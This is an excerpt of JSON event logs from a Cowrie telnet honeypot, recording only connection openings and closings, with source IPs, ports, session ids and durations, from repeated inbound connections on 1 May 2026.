{"eventid":"cowrie.session.closed","duration":31.126384735107422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:06.681185Z","src_ip":"66.113.191.20","session":"d97b979ba51f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.678008794784546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:07.088884Z","src_ip":"80.65.211.42","session":"f0f9c5db0210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20088291168213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:07.172651Z","src_ip":"66.113.191.20","session":"5b8f890b23b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.720640659332275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:07.821326Z","src_ip":"66.113.191.20","session":"eb7438450143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237502813339233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:08.226815Z","src_ip":"66.113.191.20","session":"2deedaefd386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53610,"dst_ip":"159.203.135.109","dst_port":23,"session":"c38070a69b3d","protocol":"telnet","message":"New connection: 80.65.211.42:53610 (159.203.135.109:23) [session: c38070a69b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:09.530540Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53618,"dst_ip":"159.203.135.109","dst_port":23,"session":"36320755079f","protocol":"telnet","message":"New connection: 80.65.211.42:53618 (159.203.135.109:23) [session: 36320755079f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:10.075458Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53632,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bef5fef0c78","protocol":"telnet","message":"New connection: 80.65.211.42:53632 (159.203.135.109:23) [session: 4bef5fef0c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:10.822983Z"}
{"eventid":"cowrie.session.closed","duration":32.80875849723816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:11.002417Z","src_ip":"80.65.211.42","session":"6572ce0fdc69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53636,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa305d5caa5","protocol":"telnet","message":"New connection: 80.65.211.42:53636 (159.203.135.109:23) [session: cfa305d5caa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:12.195832Z"}
{"eventid":"cowrie.session.closed","duration":30.956223011016846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:15.595050Z","src_ip":"80.65.211.42","session":"a0591074c647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884960651397705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:18.598121Z","src_ip":"80.65.211.42","session":"6e17adcf6911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":50970,"dst_ip":"159.203.135.109","dst_port":23,"session":"88b5083d5383","protocol":"telnet","message":"New connection: 80.65.211.42:50970 (159.203.135.109:23) [session: 88b5083d5383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:19.155173Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":50980,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b0cd22be85","protocol":"telnet","message":"New connection: 80.65.211.42:50980 (159.203.135.109:23) [session: d6b0cd22be85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:20.877005Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":50990,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0297c7f0058","protocol":"telnet","message":"New connection: 80.65.211.42:50990 (159.203.135.109:23) [session: d0297c7f0058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:21.891489Z"}
{"eventid":"cowrie.session.closed","duration":32.822280406951904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:23.276701Z","src_ip":"80.65.211.42","session":"736573874418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.401063680648804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:24.045861Z","src_ip":"80.65.211.42","session":"09eb8c94bde3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48812,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e280fec884","protocol":"telnet","message":"New connection: 80.65.211.42:48812 (159.203.135.109:23) [session: 18e280fec884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:25.847120Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e86949c8c8b","protocol":"telnet","message":"New connection: 80.65.211.42:48822 (159.203.135.109:23) [session: 0e86949c8c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:28.734142Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48830,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0274bb1e04","protocol":"telnet","message":"New connection: 80.65.211.42:48830 (159.203.135.109:23) [session: df0274bb1e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:30.280591Z"}
{"eventid":"cowrie.session.closed","duration":30.701106309890747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:30.670657Z","src_ip":"80.65.211.42","session":"3a244035f2e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33914756774902,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:33.278654Z","src_ip":"80.65.211.42","session":"a2858a05e9e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":44072,"dst_ip":"10.17.0.5","dst_port":23,"session":"e80717044875","protocol":"telnet","message":"New connection: 69.65.3.189:44072 (10.17.0.5:23) [session: e80717044875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:33.348999Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":36588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b28c70737346","protocol":"telnet","message":"New connection: 80.65.211.42:36588 (159.203.135.109:23) [session: b28c70737346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:35.166592Z"}
{"eventid":"cowrie.session.closed","duration":35.7214081287384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:36.693840Z","src_ip":"80.65.211.42","session":"a15374892879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":33312,"dst_ip":"10.17.0.5","dst_port":23,"session":"057436357b2b","protocol":"telnet","message":"New connection: 66.113.191.20:33312 (10.17.0.5:23) [session: 057436357b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:37.220963Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":34540,"dst_ip":"10.17.0.5","dst_port":23,"session":"26060e06d7d8","protocol":"telnet","message":"New connection: 66.113.191.20:34540 (10.17.0.5:23) [session: 26060e06d7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:38.431202Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":36264,"dst_ip":"10.17.0.5","dst_port":23,"session":"6322d5902fe9","protocol":"telnet","message":"New connection: 66.113.191.20:36264 (10.17.0.5:23) [session: 6322d5902fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:39.429271Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":36596,"dst_ip":"159.203.135.109","dst_port":23,"session":"8af2499917f8","protocol":"telnet","message":"New connection: 80.65.211.42:36596 (159.203.135.109:23) [session: 8af2499917f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:40.232291Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":39344,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbeeeae4966e","protocol":"telnet","message":"New connection: 66.113.191.20:39344 (10.17.0.5:23) [session: dbeeeae4966e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:40.365499Z"}
{"eventid":"cowrie.session.closed","duration":30.37775206565857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:41.200610Z","src_ip":"80.65.211.42","session":"4bef5fef0c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9394bdcf997","protocol":"telnet","message":"New connection: 66.113.191.20:41714 (10.17.0.5:23) [session: b9394bdcf997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:41.746588Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":36612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c05eaf6ef5d","protocol":"telnet","message":"New connection: 80.65.211.42:36612 (159.203.135.109:23) [session: 0c05eaf6ef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:41.778721Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":42242,"dst_ip":"10.17.0.5","dst_port":23,"session":"0caf2ac6b2a3","protocol":"telnet","message":"New connection: 66.113.191.20:42242 (10.17.0.5:23) [session: 0caf2ac6b2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:42.027282Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":42404,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7e1a34ca90","protocol":"telnet","message":"New connection: 66.113.191.20:42404 (10.17.0.5:23) [session: 9f7e1a34ca90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:42.119535Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":44302,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af42ca0bbef","protocol":"telnet","message":"New connection: 66.113.191.20:44302 (10.17.0.5:23) [session: 0af42ca0bbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:43.107217Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":39006,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fee98ddad7","protocol":"telnet","message":"New connection: 66.113.191.20:39006 (10.17.0.5:23) [session: f1fee98ddad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:43.268974Z"}
{"eventid":"cowrie.session.closed","duration":33.85011315345764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:43.380527Z","src_ip":"80.65.211.42","session":"c38070a69b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256863355636597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:43.452531Z","src_ip":"80.65.211.42","session":"cfa305d5caa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46634,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d98ecee84e7","protocol":"telnet","message":"New connection: 66.113.191.20:46634 (10.17.0.5:23) [session: 5d98ecee84e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:44.194654Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46648,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b0c5ace4647","protocol":"telnet","message":"New connection: 66.113.191.20:46648 (10.17.0.5:23) [session: 0b0c5ace4647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:47.197267Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":55974,"dst_ip":"10.17.0.5","dst_port":23,"session":"de655fcde022","protocol":"telnet","message":"New connection: 66.113.191.20:55974 (10.17.0.5:23) [session: de655fcde022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:47.314829Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":58088,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c45bdf45b83","protocol":"telnet","message":"New connection: 66.113.191.20:58088 (10.17.0.5:23) [session: 2c45bdf45b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:47.797372Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":33838,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e137b56361","protocol":"telnet","message":"New connection: 66.113.191.20:33838 (10.17.0.5:23) [session: 01e137b56361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:48.843847Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":34588,"dst_ip":"10.17.0.5","dst_port":23,"session":"23616ea21680","protocol":"telnet","message":"New connection: 66.113.191.20:34588 (10.17.0.5:23) [session: 23616ea21680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:49.079048Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":36248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1451845f3d4f","protocol":"telnet","message":"New connection: 66.113.191.20:36248 (10.17.0.5:23) [session: 1451845f3d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:49.508678Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":38634,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3515d19a29","protocol":"telnet","message":"New connection: 66.113.191.20:38634 (10.17.0.5:23) [session: 6d3515d19a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:50.107142Z"}
{"eventid":"cowrie.session.closed","duration":32.12147760391235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:51.276534Z","src_ip":"80.65.211.42","session":"88b5083d5383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.455658197402954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:52.332541Z","src_ip":"80.65.211.42","session":"d6b0cd22be85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.36501359939575,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:52.440341Z","src_ip":"80.65.211.42","session":"36320755079f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.604024648666382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:52.495386Z","src_ip":"80.65.211.42","session":"d0297c7f0058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48742,"dst_ip":"159.203.135.109","dst_port":23,"session":"95506ebbde30","protocol":"telnet","message":"New connection: 80.65.211.42:48742 (159.203.135.109:23) [session: 95506ebbde30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:55.821993Z"}
{"eventid":"cowrie.session.closed","duration":30.45376968383789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:56.300766Z","src_ip":"80.65.211.42","session":"18e280fec884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48756,"dst_ip":"159.203.135.109","dst_port":23,"session":"36be9b94cbf1","protocol":"telnet","message":"New connection: 80.65.211.42:48756 (159.203.135.109:23) [session: 36be9b94cbf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:56.626848Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48766,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d2a30bb0fe","protocol":"telnet","message":"New connection: 80.65.211.42:48766 (159.203.135.109:23) [session: f4d2a30bb0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:57.132929Z"}
{"eventid":"cowrie.session.closed","duration":30.828901290893555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:59.562917Z","src_ip":"80.65.211.42","session":"0e86949c8c8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418501138687134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:01.698964Z","src_ip":"80.65.211.42","session":"df0274bb1e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.494035005569458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:06.660528Z","src_ip":"80.65.211.42","session":"b28c70737346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33642,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1ca0beb5dc","protocol":"telnet","message":"New connection: 80.65.211.42:33642 (159.203.135.109:23) [session: be1ca0beb5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:08.764282Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33652,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c2f90d9362","protocol":"telnet","message":"New connection: 80.65.211.42:33652 (159.203.135.109:23) [session: d5c2f90d9362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:10.792104Z"}
{"eventid":"cowrie.session.closed","duration":30.52216649055481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:12.300783Z","src_ip":"80.65.211.42","session":"0c05eaf6ef5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.845640897750854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:14.077764Z","src_ip":"80.65.211.42","session":"8af2499917f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.819645166397095,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:14.168543Z","src_ip":"69.65.3.189","session":"e80717044875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00104928016663,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:16.562476Z","src_ip":"157.49.80.15","session":"5a22c1b91afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0014808177948,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:16.709991Z","src_ip":"157.49.80.15","session":"5c4b18ee4c0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":40915,"dst_ip":"10.17.0.5","dst_port":23,"session":"29768e87902d","protocol":"telnet","message":"New connection: 157.49.80.15:40915 (10.17.0.5:23) [session: 29768e87902d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:17.430476Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":38404,"dst_ip":"10.17.0.5","dst_port":23,"session":"5721468015fc","protocol":"telnet","message":"New connection: 157.49.80.15:38404 (10.17.0.5:23) [session: 5721468015fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:17.504665Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33762,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b189a0a21a9","protocol":"telnet","message":"New connection: 80.65.211.42:33762 (159.203.135.109:23) [session: 7b189a0a21a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:18.541970Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33772,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f58b2cc144","protocol":"telnet","message":"New connection: 80.65.211.42:33772 (159.203.135.109:23) [session: f4f58b2cc144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:18.996978Z"}
{"eventid":"cowrie.session.closed","duration":120.00143527984619,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:20.336103Z","src_ip":"157.49.80.15","session":"f2abf1c9ed26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":39208,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea74e7d4a4c","protocol":"telnet","message":"New connection: 157.49.80.15:39208 (10.17.0.5:23) [session: eea74e7d4a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:21.010829Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33780,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd9e89edc7fb","protocol":"telnet","message":"New connection: 80.65.211.42:33780 (159.203.135.109:23) [session: bd9e89edc7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:21.182611Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52718,"dst_ip":"159.203.135.109","dst_port":23,"session":"825987cae268","protocol":"telnet","message":"New connection: 80.65.211.42:52718 (159.203.135.109:23) [session: 825987cae268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:26.105513Z"}
{"eventid":"cowrie.session.closed","duration":31.0161771774292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:28.149001Z","src_ip":"80.65.211.42","session":"f4d2a30bb0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52728,"dst_ip":"159.203.135.109","dst_port":23,"session":"c00e16c157b7","protocol":"telnet","message":"New connection: 80.65.211.42:52728 (159.203.135.109:23) [session: c00e16c157b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:28.554723Z"}
{"eventid":"cowrie.session.closed","duration":32.72036647796631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:29.347096Z","src_ip":"80.65.211.42","session":"36be9b94cbf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8060986995697,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:30.627948Z","src_ip":"80.65.211.42","session":"95506ebbde30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43866,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d6e46b0907","protocol":"telnet","message":"New connection: 80.65.211.42:43866 (159.203.135.109:23) [session: e2d6e46b0907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:33.979604Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43872,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4317c83e3f","protocol":"telnet","message":"New connection: 80.65.211.42:43872 (159.203.135.109:23) [session: 5b4317c83e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:34.216726Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43876,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4c3e4dfe348","protocol":"telnet","message":"New connection: 80.65.211.42:43876 (159.203.135.109:23) [session: c4c3e4dfe348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:34.773528Z"}
